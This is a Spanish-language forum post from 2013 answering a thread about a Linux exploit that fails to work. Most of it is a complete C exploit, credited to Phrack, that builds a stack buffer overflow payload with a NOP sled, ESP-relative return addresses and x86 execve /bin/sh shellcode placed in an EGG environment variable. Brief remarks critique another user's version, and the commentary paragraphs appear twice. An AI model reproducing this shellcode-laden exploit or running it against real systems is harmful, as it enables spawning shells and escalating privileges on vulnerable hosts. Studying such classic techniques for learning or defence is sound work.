1
C / C++ / Re:no puedo hacer funcionar este exploit para linux
« en: Noviembre 11, 2013, 12:33:29 am »
Para quitarme la espina ...
Este funciona perfectamente, el codigo esta sacado de phrack. Ya depende del tamaño del buffer a explotar.
Entre los errores que veo en el codigo de girmoire...
No realiza el desplazamiento relativo al esp.
Utiliza NOPs que ayuda para encontrar la shellcode pero 'lo sobreescribe' con la copia a buffer de la shellcode y la direccion ret, lo cual hace 'inutil esa ayuda' y tambien podias escribir mas veces la direccion ret( offset relativo al esp)...
El \x00\x00\x00\x00 ?¿porque?
Este funciona perfectamente, el codigo esta sacado de phrack. Ya depende del tamaño del buffer a explotar.
Código: [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define NOP 0x90
#define SIZE_DEFAULT 512
#define OFFSET 0
unsigned long getESP(void){ __asm__("movl %esp,%eax"); }
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char* argv[]) {
char *buff, *buff_cptr;
long *buff_lptr, addr_offset;
int bsize, offset;
int i;
if( argc <= 1 )
{
printf("Uso: ./exploit2 size offset \n");
return 0;
}
bsize = ( argc > 1 ) ? atoi(argv[1]) : SIZE_DEFAULT;
offset = ( argc > 2 ) ? atoi(argv[2]) : OFFSET;
if( !(buff = malloc(bsize)) )
{
printf("No se puede reservar memoria\n");
return 1;
}
addr_offset = getESP() - offset;
printf("Offset addr :: 0x%x\n", addr_offset);
buff_cptr = buff;
buff_lptr = (long *) buff_cptr;
for (i=0; i< bsize; i+=4)
*(buff_lptr++) = addr_offset;
for (i=0; i< (bsize/2); i++)
buff[i] = NOP;
buff_cptr = buff + ( (bsize/2) - (strlen(shellcode)/2) );
for (i=0; i < strlen(shellcode); i++)
*(buff_cptr++) = shellcode[i];
memcpy(buff, "EGG=", 4);
putenv(buff);
system("/bin/bash");
return 0;
}
Entre los errores que veo en el codigo de girmoire...
No realiza el desplazamiento relativo al esp.
Utiliza NOPs que ayuda para encontrar la shellcode pero 'lo sobreescribe' con la copia a buffer de la shellcode y la direccion ret, lo cual hace 'inutil esa ayuda' y tambien podias escribir mas veces la direccion ret( offset relativo al esp)...
El \x00\x00\x00\x00 ?¿porque?